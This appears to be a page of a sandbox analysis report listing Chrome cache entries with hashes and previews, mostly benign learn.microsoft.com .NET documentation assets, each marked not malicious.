Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	downloaded
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-learn-challenge-2024.jpg
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33273), with no line terminators
Category:	downloaded
Size (bytes):	33273
Entropy (8bit):	4.918756013698695
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUukj:5hOEO8chkMet7pCjBfcHkWOzUukj
MD5:	86E84C732A96BF9CF18C99B48DB90B6D
SHA1:	6A8C212067CB9FE5B8325AE1E89FCA3E7FCF20FA
SHA-256:	B54678C5BFB00DC1AFBF2E52C56F8E10173975C25FB19062EFE5DC86F1B7D769
SHA-512:	AD91A78371074B5BB2105A9AE69664371C235B7C82DFD25C9ED17F435E92018F2A0DD42203F403D7A75DF4FC63966017519F118B2B22F0DE7656B2B155636AA2
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 